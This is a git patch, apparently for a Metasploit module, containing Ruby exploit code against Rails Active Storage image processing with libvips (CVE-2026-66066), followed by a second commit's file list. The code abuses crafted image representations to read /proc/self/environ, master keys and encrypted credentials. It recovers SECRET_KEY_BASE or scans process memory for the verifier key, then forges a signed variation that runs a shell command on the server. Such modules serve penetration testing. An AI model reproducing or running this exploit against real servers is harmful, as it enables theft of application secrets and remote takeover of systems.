'keep_cookies' => true) + raise FlowError, 'No response while requesting the crafted representation' unless res + raise TriggerError, "Crafted representation returned HTTP #{res.code}" unless res.code == 200 + + decoded = PngDecoder.decode(res.body.to_s.b) + decoded.merge(path: representation_path) + end + + def read_file_chunks(artifact_name, filename, chunk_bytes:, max_bytes:) + first = nil + combined = String.new.b + + (0...max_bytes).step(chunk_bytes) do |external_offset| + current = file_read(artifact_name, filename, external_offset: external_offset) + first ||= current + combined << current[:pixels] + break if current[:pixels].delete("\x00").empty? + end + + raise TriggerError, "Could not read any bytes with #{artifact_name}" unless first + + first.merge(pixels: combined.sub(/\x00+\z/n, '')) + end + + def read_blocked_file_chunks(external_path, filename, chunk_bytes:, max_bytes:) + artifact_name = blocked_template_for_chunk(chunk_bytes) + first = nil + combined = String.new.b + + (0...max_bytes).step(chunk_bytes) do |external_offset| + current = file_read( + artifact_name, + filename, + external_offset: external_offset, + external_path: external_path + ) + first ||= current + decoded = restore_blocked_pixels(current, chunk_bytes) + combined << decoded + break if decoded.delete("\x00").empty? + end + + raise TriggerError, "Could not read any bytes with #{artifact_name}" unless first + + first.merge(pixels: combined.sub(/\x00+\z/n, '')) + end + + def blocked_template_for_chunk(chunk_bytes) + layout = BLOCKED_READ_TEMPLATES.find { |_artifact, candidate_chunk_bytes, _offset_position, _segment_count| candidate_chunk_bytes == chunk_bytes } + raise FlowError, "No blocked external read template for #{chunk_bytes} bytes" unless layout + + layout[0] + end + + def exploit_context + if datastore['SECRET_KEY_BASE'].present? + print_status('Using operator-supplied SECRET_KEY_BASE') + representation = { path: base_representation_path } + return context_from_secret(representation, validate_secret_key_base(datastore['SECRET_KEY_BASE']), 'operator-supplied SECRET_KEY_BASE') + end + + print_status("Reading up to #{ENVIRONMENT_MAX_BYTES} bytes of /proc/self/environ through Active Storage") + representation = try_file_read_chunks( + 'environment.mat', + 'profile.bmp', + chunk_bytes: ENVIRONMENT_CHUNK_BYTES, + max_bytes: ENVIRONMENT_MAX_BYTES + ) + environment = representation ? parse_environment(representation[:pixels]) : {} + blocked_chunk_bytes = nil + unless environment['SECRET_KEY_BASE'].present? + blocked_representation, blocked_chunk_bytes = try_blocked_file_read_chunks( + '/proc/self/environ', + 'profile.bmp', + max_bytes: ENVIRONMENT_MAX_BYTES, + include_chunk_bytes: true + ) { |read| parse_environment(read[:pixels]).any? } + if blocked_representation + blocked_environment = parse_environment(blocked_representation[:pixels]) + if blocked_environment.any? + representation = blocked_representation + environment = blocked_environment + print_status("Recovered environment bytes with the #{blocked_chunk_bytes}-byte blocked resize-tolerant layout") + else + blocked_chunk_bytes = nil + end + end + end + raise TriggerError, 'Could not read /proc/self/environ through the selected representation' unless representation + + loot_path = store_loot( + 'rails.process.environ', + 'application/octet-stream', + rhost, + representation[:pixels], + 'proc_self_environ.bin', + 'Recovered /proc/self/environ bytes' + ) + begin + secret_key_base, secret_source, digest = recover_secret_key_base( + environment, + representation_path: representation[:path], + blocked_chunk_bytes: blocked_chunk_bytes + ) + print_good("Recovered SECRET_KEY_BASE from #{secret_source} and stored environment loot in: #{loot_path}") + return context_from_secret(representation, secret_key_base, secret_source, digest: digest) + rescue TriggerError => e + print_warning("#{e.message}; falling back to in-memory Active Storage verifier-key recovery") + end + + verifier_key = recover_verifier_key_from_memory(representation[:path]) + print_good("Recovered the Active Storage verifier key from process memory and stored environment loot in: #{loot_path}") + { + representation: representation, + verifier_key: verifier_key, + verifier_source: 'an in-memory Active Storage verifier key' + } + end + + def landing_page + return @landing_page if @landing_page + + res = send_request_cgi!('method' => 'GET', 'uri' => app_uri(datastore['LANDINGURI']), 'keep_cookies' => true) + raise FlowError, 'No response from the landing page' unless res + raise FlowError, "Landing page returned HTTP #{res.code}" unless res.code == 200 + + doc = res.get_html_document + csrf_meta = doc.at_css('meta[name="csrf-token"]')&.[]('content') + csrf_form = doc.at_css('input[name="authenticity_token"]')&.[]('value') + raise FlowError, 'Landing page did not contain a CSRF meta token' if csrf_meta.blank? + + @landing_page = { + csrf_meta: csrf_meta, + csrf_form: csrf_form, + representation_paths: doc.css('img[src*="/rails/active_storage/representations/"]').map { |node| node['src'] } + } + end + + def base_representation_path + return @base_representation_path if @base_representation_path + + if datastore['REPRESENTATIONURI'].present? + @base_representation_path = select_representation_path([datastore['REPRESENTATIONURI']], 'REPRESENTATIONURI') + print_status('Using operator-supplied Active Storage representation URL') + return @base_representation_path + end + + landing = landing_page + if landing[:representation_paths].any? + @base_representation_path = select_representation_path(landing[:representation_paths], 'landing page') + print_status('Reusing an Active Storage representation URL found on the landing page') + return @base_representation_path + end + + raise FlowError, 'Landing page had no representation path and did not contain a form CSRF token' if landing[:csrf_form].blank? + + safe_signed_id = direct_upload( + csrf_token: landing[:csrf_meta], + filename: 'safe.png', + content_type: 'image/png', + content: safe_png + ) + @base_representation_path = submit_safe_upload(landing[:csrf_form], safe_signed_id) + end + + def select_representation_path(paths, source) + index = datastore['REPRESENTATION_INDEX'] + raise FlowError, "#{source} did not contain a representation path" if paths.empty? + raise FlowError, "#{source} did not contain representation index #{index}" unless paths[index] + + parsed = URI.parse(paths[index]) + representation_route_index(parsed.path.split('/')) + paths[index] + rescue URI::InvalidURIError => e + raise FlowError, "#{source} returned an invalid representation path: #{e.message}" + end + + def direct_upload(csrf_token:, filename:, content_type:, content:) + checksum = Base64.strict_encode64(Digest::MD5.digest(content)) + body = { + blob: { + filename: filename, + byte_size: content.bytesize, + checksum: checksum, + content_type: content_type + } + }.to_json + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => app_uri(datastore['DIRECTUPLOADURI']), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => 'application/json', + 'X-CSRF-Token' => csrf_token + }, + 'data' => body, + 'keep_cookies' => true + ) + raise FlowError, 'No response while creating the direct upload' unless res + raise FlowError, "Direct upload create returned HTTP #{res.code}" unless res.code == 200 + + json = res.get_json_document + signed_id = json['signed_id'] + direct = json['direct_upload'] + raise FlowError, 'Direct upload response did not include a signed_id' if signed_id.blank? + raise FlowError, 'Direct upload response did not include upload metadata' unless direct.is_a?(Hash) + + upload_url = direct['url'] + upload_headers = direct['headers'] + raise FlowError, 'Direct upload response did not include an upload URL' if upload_url.blank? + raise FlowError, 'Direct upload response did not include upload headers' unless upload_headers.is_a?(Hash) + + upload_res = send_request_to_url( + upload_url, + method: 'PUT', + data: content, + headers: upload_headers + ) + raise FlowError, 'No response while uploading the blob content' unless upload_res + unless [200, 201, 204].include?(upload_res.code) + raise FlowError, "Direct object upload returned HTTP #{upload_res.code}" + end + + signed_id + end + + def submit_safe_upload(csrf_token, signed_id) + res = send_request_cgi!( + 'method' => 'POST', + 'uri' => app_uri(datastore['SUBMITURI']), + 'vars_post' => { + 'authenticity_token' => csrf_token, + datastore['ATTACHMENT_FIELD'] => signed_id + }, + 'headers' => { + 'Accept' => 'text/html' + }, + 'keep_cookies' => true + ) + raise FlowError, 'No response while submitting the safe upload' unless res + raise FlowError, "Safe upload submit returned HTTP #{res.code}" unless res.code == 200 + + paths = res.get_html_document.css('img[src*="/rails/active_storage/representations/"]').map { |node| node['src'] } + select_representation_path(paths, 'safe upload response') + end + + def substitute_representation_blob(path, signed_blob_id, filename) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + + parts[route_index + 1] = URI.encode_www_form_component(signed_blob_id) + parts[-1] = filename + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def substitute_variation_key(path, variation) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + + parts[route_index + 2] = URI.encode_www_form_component(variation) + parsed.path = parts.join('/') + parsed.to_s + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def request_uri(path_or_url) + parsed = URI.parse(path_or_url) + if parsed.host && parsed.host != vhost && parsed.host != rhost + raise FlowError, "Application returned a representation URL on a different host: #{parsed.host}" + end + + uri = parsed.path + uri = '/' if uri.blank? + uri += "?#{parsed.query}" if parsed.query + uri + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid URL: #{e.message}" + end + + def send_request_to_url(url, method:, data:, headers:) + parsed = URI.parse(url) + unless %w[http https].include?(parsed.scheme) && parsed.host + raise FlowError, 'Direct upload URL was not an HTTP(S) URL' + end + raise FlowError, 'Direct upload URL contained credentials' if parsed.user || parsed.password + + uri = parsed.path + uri = '/' if uri.blank? + uri += "?#{parsed.query}" if parsed.query + request_headers = headers.merge('Connection' => 'close') + + if same_target_url?(parsed) + return send_request_cgi( + 'method' => method, + 'uri' => uri, + 'data' => data, + 'headers' => request_headers, + 'cookie' => '' + ) + end + + send_request_cgi( + 'method' => method, + 'uri' => uri, + 'data' => data, + 'headers' => request_headers, + 'cookie' => '', + 'rhost' => parsed.host, + 'rport' => parsed.port, + 'SSL' => parsed.scheme == 'https', + 'vhost' => parsed.host + ) + rescue URI::InvalidURIError => e + raise FlowError, "Direct upload URL was invalid: #{e.message}" + end + + def same_target_url?(parsed) + target_hosts = [rhost, vhost].compact.reject(&:blank?) + target_hosts.include?(parsed.host) && parsed.port == rport && (parsed.scheme == 'https') == ssl + end + + def parse_environment(pixels) + pixels.split("\x00").each_with_object({}) do |entry, environment| + next unless entry.include?('=') + + key, value = entry.split('=', 2) + environment[key] = value + end + end + + def recover_secret_key_base(environment, representation_path:, blocked_chunk_bytes: nil) + if environment['SECRET_KEY_BASE'].present? + candidate = validated_secret_candidate(environment['SECRET_KEY_BASE'], '/proc/self/environ', representation_path) + return candidate if candidate + end + + local_secret = try_recovery_file_read( + 'local_secret.mat', + 'local_secret.bmp', + '/proc/self/cwd/tmp/local_secret.txt', + 256, + blocked_chunk_bytes: blocked_chunk_bytes + ) + if local_secret + secret = trim_external_bytes(local_secret[:pixels]) + if secret.present? + candidate = validated_secret_candidate(secret, '/proc/self/cwd/tmp/local_secret.txt', representation_path) + return candidate if candidate + end + end + + rails_env = environment['RAILS_ENV'].presence || environment['RACK_ENV'].presence || 'production' + master_keys = [] + environment_master_key = environment['RAILS_MASTER_KEY'] + master_keys << environment_master_key if valid_master_key?(environment_master_key) + if master_keys.empty? + key_artifacts = [] + if %w[production staging development test].include?(rails_env) + key_artifacts << [ + "credentials_#{rails_env}_key.mat", + "#{rails_env}_key.bmp", + "/proc/self/cwd/config/credentials/#{rails_env}.key" + ] + end + key_artifacts << ['master_key.mat', 'master_key.bmp', '/proc/self/cwd/config/master.key'] + key_artifacts.each do |artifact, filename, external_path| + read = try_recovery_file_read( + artifact, + filename, + external_path, + 128, + blocked_chunk_bytes: blocked_chunk_bytes + ) + next unless read + + candidate = trim_external_bytes(read[:pixels]) + next unless valid_master_key?(candidate) + + master_keys << candidate unless master_keys.include?(candidate) + end + end + + if master_keys.any? + credential_artifacts = [] + if %w[production staging development test].include?(rails_env) + credential_artifacts << ["credentials_#{rails_env}.mat", "#{rails_env}_credentials.bmp", "/proc/self/cwd/config/credentials/#{rails_env}.yml.enc"] + end + credential_artifacts << ['credentials.mat', 'credentials.bmp', '/proc/self/cwd/config/credentials.yml.enc'] + credential_artifacts.each do |artifact, filename, source_path| + read = try_recovery_file_read_chunks( + artifact, + filename, + source_path, + chunk_bytes: CREDENTIALS_CHUNK_BYTES, + max_bytes: CREDENTIALS_MAX_BYTES, + blocked_chunk_bytes: blocked_chunk_bytes + ) + next unless read + + encrypted = trim_external_bytes(read[:pixels]) + master_keys.each do |master_key| + plaintext = decrypt_rails_credentials(encrypted, master_key) + next unless plaintext + + secret = extract_secret_key_base_from_plaintext(plaintext) + if secret + candidate = validated_secret_candidate(secret, source_path, representation_path) + return candidate if candidate + end + end + end + end + + raise TriggerError, "Could not recover SECRET_KEY_BASE from environment, local secret, or encrypted credentials (environment keys: #{environment.keys.sort.join(', ')})" + end + + def try_file_read(artifact, filename) + file_read(artifact, filename) + rescue FlowError, TriggerError => e + vprint_status("Skipping #{artifact}: #{e.message}") + nil + end + + def try_file_read_chunks(artifact, filename, chunk_bytes:, max_bytes:) + read_file_chunks(artifact, filename, chunk_bytes: chunk_bytes, max_bytes: max_bytes) + rescue FlowError, TriggerError => e + vprint_status("Skipping #{artifact}: #{e.message}") + nil + end + + def try_blocked_file_read_chunks(external_path, filename, max_bytes:, include_chunk_bytes: false) + BLOCKED_READ_TEMPLATES.each do |_artifact, chunk_bytes, _offset_position, _segment_count| + read = read_blocked_file_chunks( + external_path, + filename, + chunk_bytes: chunk_bytes, + max_bytes: max_bytes + ) + if block_given? && !yield(read) + vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: decoded bytes did not satisfy the expected content check") + next + end + return include_chunk_bytes ? [read, chunk_bytes] : read + rescue FlowError, TriggerError => e + vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: #{e.message}") + end + + include_chunk_bytes ? [nil, nil] : nil + end + + def try_recovery_file_read(artifact, filename, external_path, byte_count, blocked_chunk_bytes:) + if blocked_chunk_bytes + return try_blocked_file_read_chunks_with_chunk( + external_path, + filename, + chunk_bytes: blocked_chunk_bytes, + max_bytes: byte_count + ) + end + + try_file_read(artifact, filename) + end + + def try_recovery_file_read_chunks(artifact, filename, external_path, chunk_bytes:, max_bytes:, blocked_chunk_bytes:) + if blocked_chunk_bytes + return try_blocked_file_read_chunks_with_chunk( + external_path, + filename, + chunk_bytes: blocked_chunk_bytes, + max_bytes: max_bytes + ) + end + + try_file_read_chunks(artifact, filename, chunk_bytes: chunk_bytes, max_bytes: max_bytes) + end + + def try_blocked_file_read_chunks_with_chunk(external_path, filename, chunk_bytes:, max_bytes:) + read_blocked_file_chunks( + external_path, + filename, + chunk_bytes: chunk_bytes, + max_bytes: max_bytes + ) + rescue FlowError, TriggerError => e + vprint_status("Skipping blocked #{chunk_bytes}-byte read of #{external_path}: #{e.message}") + nil + end + + def trim_external_bytes(bytes) + bytes.split("\x00", 2).first.to_s.strip + end + + def decrypt_rails_credentials(encrypted, master_key) + key = master_key.to_s.strip + return nil unless valid_master_key?(key) + + parts = encrypted.split('--') + return nil unless parts.length == 3 + + ciphertext, iv, auth_tag = parts.map { |part| Base64.strict_decode64(part) } + cipher = OpenSSL::Cipher.new('aes-128-gcm') + cipher.decrypt + cipher.key = [key].pack('H*') + cipher.iv = iv + cipher.auth_tag = auth_tag + cipher.auth_data = '' + cipher.update(ciphertext) + cipher.final + rescue OpenSSL::Cipher::CipherError, ArgumentError + nil + end + + def extract_secret_key_base_from_plaintext(plaintext) + document = YAML.safe_load( + unwrap_marshaled_string(plaintext), + permitted_classes: [], + permitted_symbols: [], + aliases: false + ) + return nil unless document.is_a?(Hash) + + secret = document['secret_key_base'] + return nil unless secret.is_a?(String) && secret.present? + + validate_secret_key_base(secret) + rescue Psych::Exception + nil + end + + # ActiveSupport::EncryptedFile uses MessageEncryptor with serializer: Marshal. + # Only decode the Marshal string envelope Rails emits; never Marshal.load target bytes. + def unwrap_marshaled_string(data) + return data unless data.start_with?("\x04\x08".b) + + offset = 2 + offset += 1 if data.getbyte(offset) == 0x49 + return data unless data.getbyte(offset) == 0x22 + + length, offset = parse_marshaled_length(data, offset + 1) + return data if length.nil? + + value = data.byteslice(offset, length) + value&.bytesize == length ? value : data + end + + def parse_marshaled_length(data, offset) + encoded = data.getbyte(offset) + return [nil, offset] unless encoded + + encoded -= 256 if encoded > 127 + offset += 1 + return [0, offset] if encoded.zero? + return [encoded - 5, offset] if encoded > 4 + return [nil, offset] if encoded.negative? + + bytes = data.byteslice(offset, encoded) + return [nil, offset] unless bytes&.bytesize == encoded + + length = bytes.bytes.each_with_index.sum { |byte, index| byte << (8 * index) } + [length, offset + encoded] + end + + def valid_master_key?(key) + key.to_s.strip.match?(/\A[0-9a-f]{32}\z/i) + end + + def validate_secret_key_base(secret) + raise TriggerError, 'SECRET_KEY_BASE was empty' if secret.blank? + + secret + end + + def validated_secret_candidate(secret, source, representation_path) + secret = validate_secret_key_base(secret) + digest = digest_for(secret, representation_path) + [secret, source, digest] + rescue TriggerError => e + vprint_status("Skipping #{source} secret candidate: #{e.message}") + nil + end + + def context_from_secret(representation, secret_key_base, source, digest: nil) + digest ||= digest_for(secret_key_base, representation[:path]) + print_status("Derived the Active Storage verifier key with #{digest.upcase} key derivation") + { + representation: representation, + verifier_key: derive_verifier_key(secret_key_base, digest), + verifier_source: "a verifier key derived from #{source}" + } + end + + def digest_for(secret_key_base, path) + return datastore['KEY_GENERATOR_DIGEST'] unless datastore['KEY_GENERATOR_DIGEST'] == 'auto' + + encoded, signature = signed_variation_parts(path) + digest = DIGESTS.find do |candidate| + verifier_signature(derive_verifier_key(secret_key_base, candidate), encoded) == signature + end + raise TriggerError, 'Could not determine the Active Storage key generator digest from the valid variation token; set KEY_GENERATOR_DIGEST manually' unless digest + + print_status("Detected #{digest.upcase} key derivation from the valid variation token") + digest + end + + def json_variation_payload(command) + message = { + send: ['system', command] + }.to_json + { + _rails: { + message: Base64.strict_encode64(message), + exp: nil, + pur: 'variation' + } + }.to_json + end + + def forged_variation(verifier_key, serialized) + encoded = Base64.urlsafe_encode64(serialized, padding: false) + "#{encoded}--#{verifier_signature(verifier_key, encoded)}" + end + + def derive_verifier_key(secret_key_base, digest) + OpenSSL::PKCS5.pbkdf2_hmac( + secret_key_base, + 'ActiveStorage', + 1000, + 64, + OpenSSL::Digest.new(digest.upcase) + ) + end + + def verifier_signature(verifier_key, encoded) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), verifier_key, encoded) + end + + def signed_variation_parts(path) + parsed = URI.parse(path) + parts = parsed.path.split('/') + route_index = representation_route_index(parts) + variation = URI.decode_www_form_component(parts[route_index + 2]) + encoded, signature = variation.split('--', 2) + unless encoded.present? && signature&.match?(/\A[0-9a-f]{40}\z/i) + raise FlowError, 'Representation path did not contain a valid signed variation token' + end + + [encoded, signature] + rescue URI::InvalidURIError => e + raise FlowError, "Application returned an invalid representation path: #{e.message}" + end + + def recover_verifier_key_from_memory(path) + max_bytes = datastore['MemoryScanMaxBytes'] + stride = datastore['MemoryScanStride'] + + encoded, signature = signed_variation_parts(path) + regions, metadata_path = memory_regions + raise TriggerError, 'Could not find any writable private heap or anonymous memory mappings in procfs metadata' if regions.empty? + + print_status("Scanning up to #{max_bytes} bytes across #{regions.length} writable private memory mappings ordered from #{metadata_path}") + + expected_signature = [signature].pack('H*') + scanned_bytes = 0 + next_progress = MEMORY_SCAN_PROGRESS_BYTES + + regions.each do |region| + carry = String.new.b + memory_windows(region, max_bytes - scanned_bytes).each do |window| + page = try_memory_page_read(window[:artifact], window[:dimension], window[:address]) + unless page + carry = String.new.b + next + end + + scan_bytes = carry + page + scan_address = window[:address] - carry.bytesize + verifier_key, verifier_address = find_verifier_key(scan_bytes, scan_address, encoded, expected_signature, stride) + if verifier_key + print_good("Matched the Active Storage verifier key at 0x#{verifier_address.to_s(16)} in #{region[:name]}") + return verifier_key + end + + carry = page.byteslice(-VERIFIER_KEY_BYTES + 1, VERIFIER_KEY_BYTES - 1).to_s.b + scanned_bytes += page.bytesize + if scanned_bytes >= next_progress + print_status("Scanned #{scanned_bytes} process memory bytes without finding the verifier key") + next_progress += MEMORY_SCAN_PROGRESS_BYTES + end + end + + break if scanned_bytes >= max_bytes + end + + raise TriggerError, "Could not recover the Active Storage verifier key within #{scanned_bytes} scanned process memory bytes" + end + + def memory_regions + smaps = try_square_file_read_chunks( + 'proc_smaps.mat', + 'smaps.bmp', + chunk_bytes: MEMORY_METADATA_CHUNK_BYTES, + max_bytes: MEMORY_METADATA_MAX_BYTES + ) + if smaps + smaps_bytes = trim_external_bytes(smaps[:pixels]) + regions = parse_smaps_regions(smaps_bytes) + if regions.any? + loot_path = store_loot( + 'rails.process.smaps', + 'text/plain', + rhost, + smaps_bytes, + 'proc_self_smaps.txt', + 'Recovered /proc/self/smaps bytes' + ) + print_status("Recovered /proc/self/smaps and stored loot in: #{loot_path}") + return [regions, '/proc/self/smaps RSS'] + end + end + + maps = file_read('proc_maps.mat', 'maps.bmp') + maps_bytes = trim_external_bytes(restore_square_pixels(maps)) + regions = parse_memory_regions(maps_bytes) + loot_path = store_loot( + 'rails.process.maps', + 'text/plain', + rhost, + maps_bytes, + 'proc_self_maps.txt', + 'Recovered /proc/self/maps bytes' + ) + print_status("Recovered /proc/self/maps and stored loot in: #{loot_path}") + [regions, '/proc/self/maps address order'] + end + + def try_square_file_read_chunks(artifact, filename, chunk_bytes:, max_bytes:) + first = nil + combined = String.new.b + + (0...max_bytes).step(chunk_bytes) do |external_offset| + current = file_read(artifact, filename, external_offset: external_offset) + first ||= current + restored = restore_square_pixels(current) + combined << restored + break if restored.delete("\x00").empty? + end + + return nil unless first + + first.merge(pixels: combined.sub(/\x00+\z/n, '')) + rescue FlowError, TriggerError => e + vprint_status("Skipping #{artifact}: #{e.message}") + nil + end + + def parse_smaps_regions(smaps_bytes) + regions = [] + current = nil + + smaps_bytes.each_line do |line| + if line.match?(/\A[0-9a-f]+-[0-9a-f]+\s/i) + current = nil + match = line.match(/\A([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\d+\s*(.*)\z/i) + next unless match + + name = match[3].to_s.strip + next unless name.blank? || name == '[heap]' + + current = { + start: match[1].to_i(16), + finish: match[2].to_i(16), + name: name.blank? ? 'anonymous memory' : name, + rss_bytes: 0 + } + regions << current + elsif current && (match = line.match(/\ARss:\s+(\d+)\s+kB\s*\z/i)) + current[:rss_bytes] = match[1].to_i * 1024 + end + end + + regions.reject { |region| region[:rss_bytes].zero? } + .sort_by { |region| [-region[:rss_bytes], region[:name] == '[heap]' ? 0 : 1, region[:start]] } + end + + def parse_memory_regions(maps_bytes) + regions = maps_bytes.split("\n").filter_map do |line| + match = line.match(/\A([0-9a-f]+)-([0-9a-f]+)\s+rw-p\s+\S+\s+\S+\s+\d+\s*(.*)\z/i) + next unless match + + name = match[3].to_s.strip + next unless name.blank? || name == '[heap]' + + { + start: match[1].to_i(16), + finish: match[2].to_i(16), + name: name.blank? ? 'anonymous memory' : name + } + end + + regions.sort_by { |region| [region[:name] == '[heap]' ? 0 : 1, region[:start]] } + end + + def memory_windows(region, byte_budget) + windows = [] + cursor = region[:start] + finish = region[:finish] + remaining_budget = byte_budget + + while cursor < finish && remaining_budget >= 4096 + remaining_region = finish - cursor + artifact, dimension = MEMORY_SCAN_TEMPLATES.find do |_name, candidate_dimension| + candidate_bytes = candidate_dimension * candidate_dimension + candidate_bytes <= remaining_region && candidate_bytes <= remaining_budget + end + break unless artifact + + window_bytes = dimension * dimension + windows << { artifact: artifact, dimension: dimension, address: cursor } + cursor += window_bytes + remaining_budget -= window_bytes + end + + windows + end + + def try_memory_page_read(artifact, dimension, address) + page = file_read(artifact, 'memory.bmp', external_offset: address) + restored = restore_square_pixels(page) + expected_bytes = dimension * dimension + raise TriggerError, "#{artifact} returned #{restored.bytesize} bytes instead of #{expected_bytes}" unless restored.bytesize == expected_bytes + + restored + rescue FlowError, TriggerError => e + vprint_status("Skipping memory read at 0x#{address.to_s(16)} with #{artifact}: #{e.message}") + nil + end + + def restore_square_pixels(read) + width = read[:width] + height = read[:height] + raise TriggerError, "Expected a square memory representation, got #{width}x#{height}" unless width == height + + pixels = read[:pixels] + restored = "\x00".b * pixels.bytesize + height.times do |row| + width.times do |column| + restored.setbyte((row * width) + column, pixels.getbyte((column * width) + row)) + end + end + restored + end + + def restore_blocked_pixels(read, chunk_bytes) + width = read[:width] + height = read[:height] + expected_width = chunk_bytes * BLOCKED_BYTE_SIZE + unless width == expected_width && height == BLOCKED_BYTE_SIZE + raise TriggerError, "Expected a #{expected_width}x#{BLOCKED_BYTE_SIZE} blocked representation, got #{width}x#{height}" + end + + center = BLOCKED_BYTE_SIZE / 2 + pixels = read[:pixels] + restored = String.new.b + chunk_bytes.times do |index| + restored << pixels.getbyte((center * width) + (index * BLOCKED_BYTE_SIZE) + center) + end + restored + end + + def find_verifier_key(bytes, base_address, encoded, expected_signature, stride) + offset = (stride - (base_address % stride)) % stride + final_offset = bytes.bytesize - VERIFIER_KEY_BYTES + while offset <= final_offset + candidate = bytes.byteslice(offset, VERIFIER_KEY_BYTES) + if OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA1'), candidate, encoded) == expected_signature + return [candidate, base_address + offset] + end + + offset += stride + end + + [nil, nil] + end + + def representation_route_index(parts) + representations_index = parts.index('representations') + route_index = representations_index && representations_index + 1 + unless route_index && %w[redirect proxy].include?(parts[route_index]) + raise FlowError, 'Representation path did not contain /representations/redirect/ or /representations/proxy/' + end + raise FlowError, 'Representation path was shorter than expected' if route_index + 3 >= parts.length + + route_index + end + + def trigger_variation(path, variation) + forged_path = substitute_variation_key(path, variation) + res = send_request_cgi!('method' => 'GET', 'uri' => request_uri(forged_path), 'keep_cookies' => true) + unless res + vprint_status('No HTTP response while triggering the forged variation') + return + end + + vprint_status("Forged variation returned HTTP #{res.code}") + end + +end From 4bb35ca9ea4bf17d2b9abd6d5c7ed65276566d34 Mon Sep 17 00:00:00 2001 From: Crypto-Cat Date: Fri, 31 Jul 2026 01:34:56 +0100 Subject: [PATCH 2/9] Improve Rails Active Storage Vips RCE compatibility --- data/exploits/CVE-2026-66066/ascii_100.mat | Bin 0 -> 8720 bytes data/exploits/CVE-2026-66066/ascii_16.mat | Bin 0 -> 3008 bytes data/exploits/CVE-2026-66066/ascii_20.mat | Bin 0 -> 3280 bytes data/exploits/CVE-2026-66066/ascii_256.mat | Bin 0 -> 19328 bytes data/exploits/CVE-2026-66066/ascii_32.mat | Bin 0 -> 4096 bytes data/exploits/CVE-2026-66066/ascii_64.mat | Bin 0 -> 6272 bytes data/exploits/CVE-2026-66066/blocked_16.mat | Bin 40376 -> 0 bytes data/exploits/CVE-2026-66066/blocked_32.mat | Bin 78776 -> 0 bytes data/exploits/CVE-2026-66066/blocked_4.mat | Bin 11576 -> 0 bytes data/exploits/CVE-2026-66066/blocked_8.mat | Bin 21176 -> 0 bytes data/exploits/CVE-2026-66066/credentials.mat | Bin 2000 -> 0 bytes .../credentials_development.mat | Bin 2008 -> 0 bytes .../credentials_development_key.mat | Bin 2008 -> 0 bytes .../CVE-2026-66066/credentials_production.mat | Bin 2008 -> 0 bytes .../credentials_production_key.mat | Bin 2008 -> 0 bytes .../CVE-2026-66066/credentials_staging.mat | Bin 2008 -> 0 bytes .../credentials_staging_key.mat | Bin 2000 -> 0 bytes .../CVE-2026-66066/credentials_test.mat | Bin 2000 -> 0 bytes .../CVE-2026-66066/credentials_test_key.mat | Bin 2000 -> 0 bytes data/exploits/CVE-2026-66066/environment.mat | Bin 1976 -> 0 bytes data/exploits/CVE-2026-66066/local_secret.mat | Bin 1992 -> 0 bytes data/exploits/CVE-2026-66066/master_key.mat | Bin 1992 -> 0 bytes data/exploits/CVE-2026-66066/proc_maps.mat | Bin 1968 -> 0 bytes .../exploits/CVE-2026-66066/proc_mem_1024.mat | Bin 1968 -> 0 bytes data/exploits/CVE-2026-66066/proc_mem_128.mat | Bin 1968 -> 0 bytes .../exploits/CVE-2026-66066/proc_mem_2048.mat | Bin 1968 -> 0 bytes data/exploits/CVE-2026-66066/proc_mem_256.mat | Bin 1968 -> 0 bytes data/exploits/CVE-2026-66066/proc_mem_512.mat | Bin 1968 -> 0 bytes data/exploits/CVE-2026-66066/proc_mem_64.mat | Bin 1968 -> 0 bytes data/exploits/CVE-2026-66066/proc_smaps.mat | Bin 1976 -> 0 bytes data/exploits/CVE-2026-66066/proc_version.mat | Bin 1968 -> 0 bytes .../http/rails_activestorage_vips_rce.md | 586 ++++-- .../source/exploits/CVE-2026-66066/README.md | 41 +- .../CVE-2026-66066/generate_msf_templates.py | 177 +- .../http/rails_activestorage_vips_rce.rb | 1871 +++++++++-------- .../http/rails_activestorage_vips_rce_spec.rb | 717 +++++++ 36 files changed, 2239 insertions(+), 1153 deletions(-) create mode 100644 data/exploits/CVE-2026-66066/ascii_100.mat create mode 100644 data/exploits/CVE-2026-66066/ascii_16.mat create mode 100644 data/exploits/CVE-2026-66066/ascii_20.mat create mode 100644 data/exploits/CVE-2026-66066/ascii_256.mat create mode 100644 data/exploits/CVE-2026-66066/ascii_32.mat create mode 100644 data/exploits/CVE-2026-66066/ascii_64.mat delete mode 100644 data/exploits/CVE-2026-66066/blocked_16.mat delete mode 100644 data/exploits/CVE-2026-66066/blocked_32.mat delete mode 100644 data/exploits/CVE-2026-66066/blocked_4.mat delete mode 100644 data/exploits/CVE-2026-66066/blocked_8.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_development.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_development_key.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_production.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_production_key.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_staging.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_staging_key.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_test.mat delete mode 100644 data/exploits/CVE-2026-66066/credentials_test_key.mat delete mode 100644 data/exploits/CVE-2026-66066/environment.mat delete mode 100644 data/exploits/CVE-2026-66066/local_secret.mat delete mode 100644 data/exploits/CVE-2026-66066/master_key.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_maps.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_mem_1024.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_mem_128.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_mem_2048.mat delete mode 100644 data/exploits/CVE-2026-66066/proc_mem_256.mat delete mode 100644 